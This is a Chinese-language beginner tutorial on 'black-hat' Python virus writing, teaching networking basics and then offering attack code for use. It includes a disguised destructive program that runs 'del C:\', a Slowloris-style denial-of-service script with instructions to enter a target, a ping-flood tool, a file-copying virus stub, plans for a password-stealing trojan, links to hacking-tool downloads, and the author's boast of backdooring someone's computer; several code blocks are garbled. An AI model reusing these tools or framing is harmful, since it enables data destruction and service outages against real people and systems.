Python3.7黑帽編程之病毒篇(基礎篇)
引子
Hacker(黑客),往往被人們理解為只會用非法手段來破壞網(wǎng)絡安全的計算機高手。但是,黑客其實不是這樣的,真正的“網(wǎng)絡破壞者”是和黑客名稱和讀音相似的駭客。
駭客,是用黑客手段進行非法操作并為己取得利益的人。黑客,是用黑客手段為國家或單位做事的人。
那么,既然黑客不是一個很壞的職業(yè),我們就可以去試著學習。
黑客本身的初衷
——黑客其實一直是善良的。 駭客其實他的前身就是黑客。
駭客與黑客分家,有這么一個故事:
原本,只有黑客一族。而不久后,有些黑客想用黑客手段來獲取利益,不斷被其他的黑客反對。于是,那些黑客悄悄私下成立了一個新的族群——駭客族。
駭客族產(chǎn)生后,一直處于保密狀態(tài),所以,沒有人知道這個族。
直到有一天——
駭客族出現(xiàn)了一次大騷動:
不斷的進行網(wǎng)絡欺騙、流量攻擊,盜取了很多人的賬號,還修改了一些大型的搜索網(wǎng)站。
于是,從這天開始,黑駭(黑客和駭客)分家了。
黑客的初衷本是一些測試程序漏洞的計算機高手,他們還幫國家和單位做事。但是,人心總是貪婪,造成了駭客的誕生。
從此以后,防病毒產(chǎn)品誕生了。
基礎篇
什么是病毒
病毒,指的是一些通過非法手段獲取系統(tǒng)的一些權限,然后進行破壞或者盜取。
病毒分為兩類:
1、破壞型
這類病毒往往會將系統(tǒng)弄的亂七八糟,比如把你的U盤刪光,把你的系統(tǒng)背景調(diào)成黑客圖片,把你的桌面全部變成某個圖標…
這些病毒一般比較明顯,所以,殺毒軟件一般比較容易查殺,但是,下面這種就不一樣了。
2、非破壞型
非破壞型病毒不會把你的系統(tǒng)怎么樣,也不會刪除你的文件和修改你的個性化操作,他們只有一個目的:盜取文件或讓它們的主人進入你的計算機。例如最典型的灰鴿子,就是讓黑客進行連接,然后控制你的電腦。冰河也是一樣。還有一種ftp木馬,它們的目的就是打開21端口,等待黑客連接。
安裝編程環(huán)境:Python3.7 IDE
在編寫程序進行黑客攻擊和病毒編寫之前,我們得先安裝我們的編程環(huán)境:Python3.7 IDE
從網(wǎng)絡上下載:Python3.7 IDE
接著,雙擊它,按照安裝向導完成安裝。
啟動
在Windows搜索欄中搜索:Python
會顯示出:
打開它!
打造攻擊目標:VMware虛擬機
我們現(xiàn)在還沒有一個攻擊目標,因為我們現(xiàn)在不能攻擊別人的電腦,否則,你就是駭客了。
那么,我們只有安裝VMware虛擬機了。
安裝VMware Workstation player
(注:此處不細說,因為版本不一,安裝不一樣)
打開!
然后,請下載Windows 7 原生純凈鏡像,可以百度“我告訴你”,點擊第二個,下載Windows7。
新建虛擬機
點擊“創(chuàng)建新虛擬機”
點擊“下一步”
這里需要輸入Windows7的密鑰,按圖中輸入。
下一步:
下一步:
我們已經(jīng)完成了VMware Workstation 虛擬機的配置,現(xiàn)在我們啟動它:
在這段時間內(nèi),計算機(虛擬機)會重啟數(shù)次,最終完成安裝。
安裝成功后即可開始使用Windows 7 ,并且可以向它發(fā)起猛烈的攻擊了。
Windows7是微軟(Microsoft)的杰出產(chǎn)品之一,但可惜的是它還是被更優(yōu)秀的Windows10取代。在2015年,微軟(Microsoft)正式宣布不再支持Windows7,也就意味著,不會再有新的更新給使用Windows7的用戶了。
啟動成功!我們可以在這臺Windows上工作,并且也可以攻擊它了!
編寫經(jīng)典程序——Hello,World!
打開Python,點擊File,New。
在彈出的窗口中輸入:
print('Hello, World!')
點擊Run,最后一個選項,查看結果。
顯示:
Hello, World!
這表示IDE程序可用,也表示,你已經(jīng)成為一名程序員了!
測試網(wǎng)絡的PING
PING程序是Microsoft(微軟公司)為Windows用戶準備的網(wǎng)絡檢測程序,使用他,可以幫你查看網(wǎng)絡狀態(tài)和網(wǎng)絡是否可訪問。
鍵擊“windows鍵+R”,打開運行窗口,輸入cmd,回車,即可打開終端窗口。在這里,你可以做很多一般人做不到的事情。
在終端里輸入ping/?,查看詳細用法。
常用指令:
PING -t ip
注:這樣可以PING指定的IP到永遠,除非你停止它。很多初級黑客喜歡用這個參數(shù)來進行網(wǎng)絡堵塞的攻擊。
PING -l 大小 ip
注:這樣可以設置發(fā)送包大小
PING -n 次數(shù) ip
注:這樣可以設置次數(shù)。
試試對baidu.com進行PING指令
打開終端,輸入PING -n 10 -l 10 baidu.com
(此命令必須在Windows 8以上才可以運行,Windows 7部分版本不支持PING網(wǎng)頁)
我們檢測到我們可以連接到baidu.com,說明我們的網(wǎng)絡是可用的。
TCP\IP協(xié)議
TCP/IP傳輸協(xié)議,即傳輸控制/網(wǎng)絡協(xié)議,也叫作網(wǎng)絡通訊協(xié)議。它是在網(wǎng)絡的使用中的最基本的通信協(xié)議。TCP/IP傳輸協(xié)議對互聯(lián)網(wǎng)中各部分進行通信的標準和方法進行了規(guī)定。并且,TCP/IP傳輸協(xié)議是保證網(wǎng)絡數(shù)據(jù)信息及時、完整傳輸?shù)膬蓚€重要的協(xié)議。TCP/IP傳輸協(xié)議是嚴格來說是一個四層的體系結構,應用層、傳輸層、網(wǎng)絡層和數(shù)據(jù)鏈路層都包含其中。
TCP/IP協(xié)議是Internet最基本的協(xié)議,其中應用層的主要協(xié)議有Telnet、FTP、SMTP等,是用來接收來自傳輸層的數(shù)據(jù)或者按不同應用要求與方式將數(shù)據(jù)傳輸至傳輸層;傳輸層的主要協(xié)議有UDP、TCP,是使用者使用平臺和計算機信息網(wǎng)內(nèi)部數(shù)據(jù)結合的通道,可以實現(xiàn)數(shù)據(jù)傳輸與數(shù)據(jù)共享;網(wǎng)絡層的主要協(xié)議有ICMP、IP、IGMP,主要負責網(wǎng)絡中數(shù)據(jù)包的傳送等;而網(wǎng)絡訪問層,也叫網(wǎng)路接口層或數(shù)據(jù)鏈路層,主要協(xié)議有ARP、RARP,主要功能是提供鏈路管理錯誤檢測、對不同通信媒介有關信息細節(jié)問題進行有效處理等。
TCP/IP協(xié)議能夠迅速發(fā)展起來并成為事實上的標準,是它恰好適應了世界范圍內(nèi)數(shù)據(jù)通信的需要。它有以下特點:
(1)協(xié)議標準是完全開放的,可以供用戶免費使用,并且獨立于特定的計算機硬件與操作系統(tǒng)。
(2)獨立于網(wǎng)絡硬件系統(tǒng),可以運行在廣域網(wǎng),更適合于互聯(lián)網(wǎng)。
(3)網(wǎng)絡地址統(tǒng)一分配,網(wǎng)絡中每一設備和終端都具有一個唯一地址。
(4)高層協(xié)議標準化,可以提供多種多樣可靠網(wǎng)絡服務。
TCP/IP協(xié)議的層次
網(wǎng)絡層
IP協(xié)議
網(wǎng)絡層引入了IP協(xié)議,制定了一套新地址,使得我們能夠區(qū)分兩臺主機是否同屬一個網(wǎng)絡,這套地址就是網(wǎng)絡地址,也就是所謂的IP地址。IP協(xié)議將這個32位的地址分為兩部分,前面部分代表網(wǎng)絡地址,后面部分表示該主機在局域網(wǎng)中的地址。如果兩個IP地址在同一個子網(wǎng)內(nèi),則網(wǎng)絡地址一定相同。為了判斷IP地址中的網(wǎng)絡地址,IP協(xié)議還引入了子網(wǎng)掩碼,IP地址和子網(wǎng)掩碼通過按位與運算后就可以得到網(wǎng)絡地址。
ARP協(xié)議
即地址解析協(xié)議,是根據(jù)IP地址獲取MAC地址的一個網(wǎng)絡層協(xié)議。其工作原理如下:ARP首先會發(fā)起一個請求數(shù)據(jù)包,數(shù)據(jù)包的首部包含了目標主機的IP地址,然后這個數(shù)據(jù)包會在鏈路層進行再次包裝,生成以太網(wǎng)數(shù)據(jù)包,最終由以太網(wǎng)廣播給子網(wǎng)內(nèi)的所有主機,每一臺主機都會接收到這個數(shù)據(jù)包,并取出標頭里的IP地址,然后和自己的IP地址進行比較,如果相同就返回自己的MAC地址,如果不同就丟棄該數(shù)據(jù)包。ARP接收返回消息,以此確定目標機的MAC地址;與此同時,ARP還會將返回的MAC地址與對應的IP地址存入本機ARP緩存中并保留一定時間,下次請求時直接查詢ARP緩存以節(jié)約資源。
路由協(xié)議
首先通過IP協(xié)議來判斷兩臺主機是否在同一個子網(wǎng)中,如果在同一個子網(wǎng),就通過ARP協(xié)議查詢對應的MAC地址,然后以廣播的形式向該子網(wǎng)內(nèi)的主機發(fā)送數(shù)據(jù)包;如果不在同一個子網(wǎng),以太網(wǎng)會將該數(shù)據(jù)包轉發(fā)給本子網(wǎng)的網(wǎng)關進行路由。網(wǎng)關是互聯(lián)網(wǎng)上子網(wǎng)與子網(wǎng)之間的橋梁,所以網(wǎng)關會進行多次轉發(fā),最終將該數(shù)據(jù)包轉發(fā)到目標IP所在的子網(wǎng)中,然后再通過ARP獲取目標機MAC,最終也是通過廣播形式將數(shù)據(jù)包發(fā)送給接收方。而完成這個路由協(xié)議的物理設備就是路由器,路由器扮演著交通樞紐的角色,它會根據(jù)信道情況,選擇并設定路由,以最佳路徑來轉發(fā)數(shù)據(jù)包。
所以,網(wǎng)絡層的主要工作是定義網(wǎng)絡地址、區(qū)分網(wǎng)段、子網(wǎng)內(nèi)MAC尋址、對于不同子網(wǎng)的數(shù)據(jù)包進行路由。
傳輸層
鏈路層定義了主機的身份,即MAC地址,而網(wǎng)絡層定義了IP地址,明確了主機所在的網(wǎng)段,有了這兩個地址,數(shù)據(jù)包就從可以從一個主機發(fā)送到另一臺主機。但實際上數(shù)據(jù)包是從一個主機的某個應用程序發(fā)出,然后由對方主機的應用程序接收。而每臺電腦都有可能同時運行著很多個應用程序,所以當數(shù)據(jù)包被發(fā)送到主機上以后,是無法確定哪個應用程序要接收這個包。因此傳輸層引入了UDP協(xié)議來解決這個問題,為了給每個應用程序標識身份。
UDP協(xié)議
UDP協(xié)議定義了端口,同一個主機上的每個應用程序都需要指定唯一的端口號,并且規(guī)定網(wǎng)絡中傳輸?shù)臄?shù)據(jù)包必須加上端口信息,當數(shù)據(jù)包到達主機以后,就可以根據(jù)端口號找到對應的應用程序了。UDP協(xié)議比較簡單,實現(xiàn)容易,但它沒有確認機制,數(shù)據(jù)包一旦發(fā)出,無法知道對方是否收到,因此可靠性較差,為了解決這個問題,提高網(wǎng)絡可靠性,TCP協(xié)議就誕生了。
TCP協(xié)議
TCP即傳輸控制協(xié)議,是一種面向連接的、可靠的、基于字節(jié)流的通信協(xié)議。簡單來說TCP就是有確認機制的UDP協(xié)議,每發(fā)出一個數(shù)據(jù)包都要求確認,如果有一個數(shù)據(jù)包丟失,就收不到確認,發(fā)送方就必須重發(fā)這個數(shù)據(jù)包。為了保證傳輸?shù)目煽啃裕琓CP協(xié)議在UDP基礎之上建立了三次對話的確認機制,即在正式收發(fā)數(shù)據(jù)前,必須和對方建立可靠的連接。TCP數(shù)據(jù)包和UDP一樣,都是由首部和數(shù)據(jù)兩部分組成,唯一不同的是,TCP數(shù)據(jù)包沒有長度限制,理論上可以無限長,但是為了保證網(wǎng)絡的效率,通常TCP數(shù)據(jù)包的長度不會超過IP數(shù)據(jù)包的長度,以確保單個TCP數(shù)據(jù)包不必再分割。
傳輸層的主要工作是定義端口,標識應用程序身份,實現(xiàn)端口到端口的通信,TCP協(xié)議可以保證數(shù)據(jù)傳輸?shù)目煽啃浴?/p>
應用層
理論上講,有了以上三層協(xié)議的支持,數(shù)據(jù)已經(jīng)可以從一個主機上的應用程序傳輸?shù)搅硪慌_主機的應用程序了,但此時傳過來的數(shù)據(jù)是字節(jié)流,不能很好的被程序識別,操作性差,因此,應用層定義了各種各樣的協(xié)議來規(guī)范數(shù)據(jù)格式,常見的有http,ftp,smtp等,在請求Header中,分別定義了請求數(shù)據(jù)格式Accept和響應數(shù)據(jù)格式Content-Type,有了這個規(guī)范以后,當對方接收到請求以后就知道該用什么格式來解析,然后對請求進行處理,最后按照請求方要求的格式將數(shù)據(jù)返回,請求端接收到響應后,就按照規(guī)定的格式進行解讀。
所以應用層的主要工作就是定義數(shù)據(jù)格式并按照對應的格式解讀數(shù)據(jù)。
黑客入門的操作命令
1、“肉雞”
“肉雞”有點類似牽線木偶,是指可以被黑客神不知鬼不覺地遠程控制的電腦或者大型服務器。不論什么系統(tǒng)都有可能淪為“肉雞”。
2、“木馬”
“木馬”是一種在運行后可以得到系統(tǒng)的控制權的程序。拿網(wǎng)頁木馬舉例,主要是利用瀏覽器的漏洞把網(wǎng)頁木馬搞到瀏覽器訪問者本地上,然后自動執(zhí)行的。
3、“后門”
黑客在通過某種手段成功控制目標主機之后,搞到系統(tǒng)的訪問權限。訪問系統(tǒng)后通過系統(tǒng)漏洞得到root權限,再安裝rootkit,就可以較長時間地控制該目標主機。
4、“弱口令”
弱口令的安全強度不高,易于被猜到破解的密碼,比如123456、654321。
5、“溢出”
“溢出”一般指的是緩沖區(qū)溢出。說白了,就是程序沒有進行有效地監(jiān)測,導致輸入的數(shù)據(jù)沒執(zhí)行。這樣的程序和沒有執(zhí)行的數(shù)據(jù)越來越多,最后程序會解體,也有可能錯誤地執(zhí)行黑客的命令。
6、“花指令”
“花指令”是用匯編語言寫成的,導致殺毒軟件無法對病毒進行合理地判斷。因為殺毒軟件有順序規(guī)則,就是從頭到尾來查殺病毒。而一旦病毒的頭尾順序不對,殺毒軟件就歇菜了。
7、“免殺”
“免殺”,顧名思義,就是免去殺毒軟件的查殺。使用一些技術把程序進行修改,這些技術主要有加殼、加密、加花指令等。
8、“加殼”
“加殼”的目的主要有壓縮文件、將程序編碼加密、免殺等,主要通過一些不一般的算法改變可執(zhí)行程序或者DLL動態(tài)鏈接庫文件的編碼。
9、“Shell”
“Shell”是一種程序或者命令的執(zhí)行環(huán)境。比如,一般用遠程溢出程序后,可以成功控制遠程電腦,在該電腦執(zhí)行系統(tǒng)命令的環(huán)境就是“Shell”。
Python編寫基本程序
Python是一個強大的語言,它十分簡潔,但是十分有用。
在此書編寫時,Python3.7.3已經(jīng)算較新的版本了,所以如果想和本書同步,請安裝Python3.7.3
編程,就是指用一段計算機能聽懂的話讓計算機去幫你做事情,這就叫編程。
我們已經(jīng)學會了“Hello,World!”的編寫,現(xiàn)在,我們來編寫一個簡單的登錄系統(tǒng),我們在后期,會將它改裝成一個盜取密碼的病毒。
登錄.py
from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import datetime import tkinter as tk import tkinter.messagebox from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import webbrowser try : window=tk.Tk() window.title('歡迎使用Windows高級功能!') window.geometry('450x300') #畫布放置圖片 canvas=tk.Canvas(window,height=300,width=500) imagefile=tk.PhotoImage(file='Hello.png') image=canvas.create_image(0,0,anchor='nw',image=imagefile) canvas.pack(side='top') #標簽 用戶名密碼 tk.Label(window,text='用戶名:').place(x=100,y=150) tk.Label(window,text='密碼:').place(x=100,y=190) #用戶名輸入框 var_usr_name=tk.StringVar() entry_usr_name=tk.Entry(window,textvariable=var_usr_name) entry_usr_name.place(x=160,y=150) #密碼輸入框 var_usr_pwd=tk.StringVar() entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*') entry_usr_pwd.place(x=160,y=190) #登錄函數(shù) def usr_log_in(): #輸入框獲取用戶名密碼 usr_name=var_usr_name.get() usr_pwd=var_usr_pwd.get() #從本地字典獲取用戶信息,如果沒有則新建本地數(shù)據(jù)庫 try: with open('usr_info.pickle','rb') as usr_file: usrs_info=pickle.load(usr_file) except FileNotFoundError: with open('usr_info.pickle','wb') as usr_file: usrs_info={'admin':'admin'} pickle.dump(usrs_info,usr_file) #判斷用戶名和密碼是否匹配 if usr_name in usrs_info: if usr_pwd == usrs_info[usr_name]: tk.messagebox.showinfo(title='welcome', message='歡迎您:'+usr_name) else: tk.messagebox.showerror(message='密碼錯誤') #用戶名密碼不能為空 elif usr_name=='' or usr_pwd=='' : tk.messagebox.showerror(message='用戶名或密碼為空') #不在數(shù)據(jù)庫中彈出是否注冊的框 else: is_signup=tk.messagebox.askyesno('歡迎','您還沒有注冊,是否現(xiàn)在注冊') if is_signup: usr_sign_up() #注冊函數(shù) def usr_sign_up(): #確認注冊時的相應函數(shù) def signtowcg(): #獲取輸入框內(nèi)的內(nèi)容 nn=new_name.get() np=new_pwd.get() npf=new_pwd_confirm.get() #本地加載已有用戶信息,如果沒有則已有用戶信息為空 try: with open('usr_info.pickle','rb') as usr_file: exist_usr_info=pickle.load(usr_file) except FileNotFoundError: exist_usr_info={} #檢查用戶名存在、密碼為空、密碼前后不一致 if nn in exist_usr_info: tk.messagebox.showerror('錯誤','用戶名已存在') elif np =='' or nn=='': tk.messagebox.showerror('錯誤','用戶名或密碼為空') elif np !=npf: tk.messagebox.showerror('錯誤','密碼前后不一致') #注冊信息沒有問題則將用戶名密碼寫入數(shù)據(jù)庫 else: exist_usr_info[nn]=np with open('usr_info.pickle','wb') as usr_file: pickle.dump(exist_usr_info,usr_file) tk.messagebox.showinfo('歡迎','注冊成功') #注冊成功關閉注冊框 window_sign_up.destroy() #新建注冊界面 window_sign_up=tk.Toplevel(window) window_sign_up.geometry('350x200') window_sign_up.title('注冊') #用戶名變量及標簽、輸入框 new_name=tk.StringVar() tk.Label(window_sign_up,text='用戶名:').place(x=10,y=10) tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10) #密碼變量及標簽、輸入框 new_pwd=tk.StringVar() tk.Label(window_sign_up,text='請輸入密碼:').place(x=10,y=50) tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50) #重復密碼變量及標簽、輸入框 new_pwd_confirm=tk.StringVar() tk.Label(window_sign_up,text='請再次輸入密碼:').place(x=10,y=90) tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90) #確認注冊按鈕及位置 bt_confirm_sign_up=tk.Button(window_sign_up,text='確認注冊', command=signtowcg) bt_confirm_sign_up.place(x=150,y=130) #退出的函數(shù) def usr_sign_quit(): try : window.destroy() except : pass #登錄 注冊按鈕 bt_login=tk.Button(window,text='登錄',command=usr_log_in) bt_login.place(x=140,y=230) bt_logup=tk.Button(window,text='注冊',command=usr_sign_up) bt_logup.place(x=210,y=230) bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit) bt_logquit.place(x=280,y=230) #主循環(huán) window.mainloop() # -*-coding:utf-8-* import socket import threading import Queue import time except : pass
這段代碼會讓用戶輸入用戶名和密碼,并且進行登錄。
木馬程序的編寫
在本章,我們將正式開始木馬的編寫。
用Python寫木馬,其實很簡單。
下面是我例舉的一個破壞型木馬的代碼:
Delete.py
import tkinter as tk import tkinter.messagebox import subprocess import time from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import datetime import os import sys import subprocess ret = subprocess.call("del C:\ ", shell=True) window=tk.Tk() window.withdraw() window.mainloop()
他其實很簡單,但是,卻又讓一些很基礎的用戶受騙。
很多人在電腦彈出窗口提示時都喜歡點擊“是”“確認”“好”,但是,可能就因為這樣,你的C:\被刪除了。這意味著,你失去了系統(tǒng)盤!
破壞型木馬很好編寫,我們在前期都在編寫破壞型木馬和病毒,所以都比較簡單。
Python之外,課外擴展
GoC繪圖語言
這種語言主要功能是繪圖,是編程新人的不二選擇——因為它的代碼太簡單了!
打開GoC
輸入以下代碼:
int main() { p.fd(100); p.rt(90); p.fd(100); p.rt(90); p.fd(100); p.rt(90); p.fd(100); p.rt(90); return 0; }
運行:
C++/C
這些語言想必大家都比較清楚,在這里就不多介紹。
如果對這些語言有興趣,可以去學習。
在Dev-C++(初學者編程環(huán)境)中創(chuàng)建新文件,輸入以下代碼:
#include<iostream> using namespace std; int main() { cout<<"Hello,World!"<<endl; return 0; }
運行后,顯示:
Hello,World!
初級篇
在這一篇,你將成為一名黑客……
Python編寫DDoS攻擊程序
分布式拒絕服務攻擊(英文意思是Distributed Denial of Service,簡稱DDoS)是指處于不同位置的多個攻擊者同時向一個或數(shù)個目標發(fā)動攻擊,或者一個攻擊者控制了位于不同位置的多臺機器并利用這些機器對受害者同時實施攻擊。由于攻擊的發(fā)出點是分布在不同地方的,這類攻擊稱為分布式拒絕服務攻擊,其中的攻擊者可以有多個。
那么,我們用代碼來執(zhí)行DDoS攻擊,你可以邀請你的朋友一起來學習和使用。
下面,你可以把代碼復制到你的Python上,然后運行,試試效果。
DDoS.py
import socket import time import threading #Pressure Test,ddos tool #--------------------------- MAX_CONN=20000 PORT=80 HOST=""#在雙引號里輸入對方IP或域名,要保證他聯(lián)網(wǎng)了或開機了. PAGE="/index.php" #--------------------------- buf=("POST %s HTTP/1.1\r\n" "Host: %s\r\n" "Content-Length: 10000000\r\n" "Cookie: dklkt_dos_test\r\n" "\r\n" % (PAGE,HOST)) socks=[] def conn_thread(): global socks for i in range(0,MAX_CONN): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((HOST,PORT)) s.send(buf.encode()) print ("Send buf OK!,conn=%d\n"%i) socks.append(s) except Exception as ex: print ("Could not connect to server or send error:%s"%ex) time.sleep(0.1) #end def def send_thread(): global socks while True: for s in socks: try: s.send("f".encode()) #print "send OK!" except Exception as ex: print ("Send Exception:%s\n"%ex) socks.remove(s) s.close() time.sleep(0.1) #end def conn_th=threading.Thread(target=conn_thread,args=()) send_th=threading.Thread(target=send_thread,args=()) conn_th.start() send_th.start()
在指定位置輸入你要攻擊的IP或網(wǎng)址,運行,就可以進行攻擊了。
運用PING程序進行網(wǎng)絡堵塞攻擊
前面說過,PING程序可能會使網(wǎng)絡堵塞,所以,我們根據(jù)這個原理編寫了一個攻擊程序。
網(wǎng)絡堵塞.py
import os import socket import time ip = input("請輸入IP:") os.system("ping -t -l 50 " + ip)
運行程序,輸入IP,就可以等待指定主機網(wǎng)絡堵塞了。
連接對方的計算機
我們可以使用“telnet”命令來進行遠程終端的連接。
打開終端窗口,輸入telnet/?,查看用法:
輸入 telnet HOST POST,可以進行連接,這里以baidu.com為例:
這里已經(jīng)成功連接,正在加載。
運用它可以連接遠程主機,實現(xiàn)遠程操控。
運用ftp來進行文件傳輸
ftp是一種協(xié)議,也是一種指令,用它,可以進行文件傳輸。
打開終端,輸入:
可以根據(jù)這些指令進行文件的傳輸。
有一些殺毒軟件(例如:金山毒霸、趨勢科技)會進行阻止,因為它們都會自我防護,防止未知木馬下載到計算機上。
copy
運行copy程序,可以讓它幫你復制文件,你可以在病毒中添加這個程序,讓無知的計算機幫你復制病毒程序。
打開終端窗口,輸入copy/?:
根據(jù)help,我們來編寫一個可以復制某個程序的病毒:
import sys import tkinter as tk import tkinter.messagebox import subprocess import time from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import datetime import os import sys import subprocess os.system("copy 路徑 路徑 ")
這是一個簡單的程序,但在后期,卻非常有用!
運用socket模塊
在上個小節(jié),有個DDoS攻擊程序,這個程序里調(diào)用了一個模塊:socket
這個模塊是個很棒的插件,它可以幫你進行連接,就像一個可以幫你插電線的電工。
調(diào)用socket模塊
#調(diào)用socket import socket print("Hello,socket!")
DDoS原理
就像接東西,張三接,李四扔。李四不停扔蘋果給張三,張三不斷接蘋果,接著接著,手上滿了!那么,只有把蘋果掉在地上了。
就是這個原理,我不斷進行連接,對方不斷處理連接,慢慢的慢慢的,對方的系統(tǒng)主機繁忙到堵塞,一大堆的請求沒有處理,堆在網(wǎng)絡連接處,系統(tǒng)還在不斷處理,等處理到一定時候,系統(tǒng)的運算已經(jīng)達到了超負荷,就會崩潰。這就是DDoS的原理。
Hacker(黑客)軟件(篇)
黑客軟件是一些黑客高手做的軟件,這些軟件可以簡化攻擊成本和難度,是很多黑客的不二之選。
但是今天,我們不來下別人的黑客軟件,咱們來做自己的黑客軟件!
黑客軟件制作
1、網(wǎng)絡堵塞工具 V1.0
首先,我們要設計我們的LOGO:
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒
┃網(wǎng)絡堵塞工具 V1.0||||||||||||||||||||||||||| ┃
┃|||||網(wǎng)絡堵塞工具,選這款!|||||||||||| ┃
┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[]|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——
接著,開始想它的呈現(xiàn)方式:
1、終端形式
2、窗口形式
這里,我們來做終端形式。
輸入代碼:
import tkinter as tk import tkinter.messagebox import pickle import pickle import tkinter as tk import tkinter.messagebox import subprocess import time from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import datetime import tkinter as tk import tkinter.messagebox from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import webbrowser def input_cd(): cd = input("請輸入指令>>") if cd == "1": ping() if cd == "2": print('此功能暫不可用') input_cd() def ping(): host = input("請輸入對方IP:") qiangdu = input("請輸入強度(1-65500):") os.system("ping -t -l " + qiangdu + " " + host) logo = """ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒ ┃網(wǎng)絡堵塞工具 V1.0||||||||||┃ ┃|||||網(wǎng)絡堵塞工具,選這款!|┃ ┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛ []|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有—— """ print(logo) print('[][使用指南][]') print('1、ping \n2、ddos(正在編寫)') input_cd()
此程序可完成一個簡易的攻擊工具,你可以對它進行修改,讓別的用戶使用它。
2、DDoS攻擊工具
輸入代碼:
import socket import time import threading #Pressure Test,ddos tool print('歡迎使用DDoS攻擊工具!') #--------------------------- MAX_CONN=20000 PORT=80 HOST=input("請輸入網(wǎng)址或IP:") PAGE="/index.php" #--------------------------- buf=("POST %s HTTP/1.1\r\n" "Host: %s\r\n" "Content-Length: 10000000\r\n" "Cookie: dklkt_dos_test\r\n" "\r\n" % (PAGE,HOST)) socks=[] def conn_thread(): global socks for i in range(0,MAX_CONN): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((HOST,PORT)) s.send(buf.encode()) print ("Send buf OK!,conn=%d\n"%i) socks.append(s) except Exception as ex: print ("Could not connect to server or send error:%s"%ex) time.sleep(0.1) #end def def send_thread(): global socks while True: for s in socks: try: s.send("f".encode()) #print "send OK!" except Exception as ex: print ("Send Exception:%s\n"%ex) socks.remove(s) s.close() time.sleep(0.1) #end def conn_th=threading.Thread(target=conn_thread,args=()) send_th=threading.Thread(target=send_thread,args=()) conn_th.start() send_th.start()
它將成為一件出色的軟件,你也可以對它進行修改,我貢獻在書上的代碼,沒有版權。
學習并使用別人的黑客軟件
當然,黑客高手們做的軟件自然比我們好的多。那么,我們該如何去下載那些軟件呢?
首先,在下載黑客軟件時,要注意防病毒。因為很可能這個軟件是被捆綁了病毒的惡意程序!
下面,為大家展示幾款軟件的安裝:
1、SQL tools
訪問https://sourceforge.net/projects/sqlt/postdownload進行下載:
同意協(xié)議:
選擇路徑:
下一步:
開始安裝:
點擊Close,結束安裝
(注:在安裝之前,請務必安裝Java,這是程序的必備用品。最低版本必須要Java 8)
在這里,你可以進行高級的攻擊。但是,在這里就暫時不介紹了。
2、ComputerKiller
訪問:hackersdld.icoc.vc
這里有很多黑客軟件,在后期,會很有用。
點擊ComputerKiller 1.9.3,進行下載。
下載完成后打開壓縮包,雙擊exe程序即可。
運用代碼和一些工具來查看對方是否可被攻擊
例如:我要入侵一臺計算機,已知參數(shù):
MAC:00:50:56:38:6F:C3
IP:192.168.132.132
用戶名:Administrator
先打開終端窗口,輸入PING 192.168.132.132,查看對方狀態(tài)。
這樣,說明對方是可以上網(wǎng)、并且是可用的。
再發(fā)現(xiàn),TTL值為128,如不更改,128TTL應為Windows 7 系統(tǒng)。我們就又獲得了一項線索:
OS:Windows 7
接著,我們用DDoS攻擊器攻擊對方:
對方?jīng)]有反應!說明,對方的網(wǎng)絡不是可以正常使用的,但是,它有一個IP地址與MAC地址!
那我們只有通過別的辦法對它進行攻擊和入侵了。
打開終端,輸入telnet 192.168.132.132 23
發(fā)現(xiàn),也是無法連接!??!
我們再進行測試,如果還是無法進行連接,說明,對方處于NAT網(wǎng)絡模式?。ㄗⅲ篘AT網(wǎng)絡模式就是指只有IP,但不能上網(wǎng)和被連接)
打開遠程桌面連接,輸入IP連接后發(fā)現(xiàn):
說明對方處于確確實實的NAT狀態(tài)!這臺計算機就不可以被攻擊,因為它沒有和intelnet進行連接!相當于沒有一個可以聽聲音的耳朵!
黑客軟件使用的要點
黑客軟件雖然好用,但是,不好下載。
在網(wǎng)上,有很多軟件都帶有病毒,我下載的一些黑客軟件就有,病毒名稱:
BKDR_AGENT.AHZU 后門
TROJ_GEN.R002C0PKF19木馬
TROJ_GEN.R03FC0PGN19木馬
所以,在網(wǎng)上一定要小心這些捆綁了病毒的軟件,可能你就會有一天被黑客劫持!
推薦大家到這幾個站點去下載黑客軟件:
hackersdld.icoc.vc(黑客軟件下載)
www.netxeyes.com(小榕主頁)
以上就是本章的內(nèi)容,在下一章,我們將進行更深入的攻擊學習,代碼攻擊將成為重點。
本章課外
最近,小編發(fā)現(xiàn)個很搞笑的計算機。這個計算機已被我裝上后門,冰河也裝上了。我看它桌面的時候,它的桌面是這樣的:
滿桌面都是罵人的話…
我給它留下一個txt:
接著呢,我又給它重裝了個系統(tǒng),爽啊!
(本段告訴我們:黑客技術不一定是惡意技術!)
中級篇
print("Hello,Users!") name = input("What's your name?") print("Oh,Nice to meet you," + name + "!")
這樣的簡單到不能再簡單的程序,大家想必已經(jīng)可以看懂了。那么這一篇,我們就來深度學習代碼編程,通過編程的學習,來進行后期木馬和病毒的編寫。
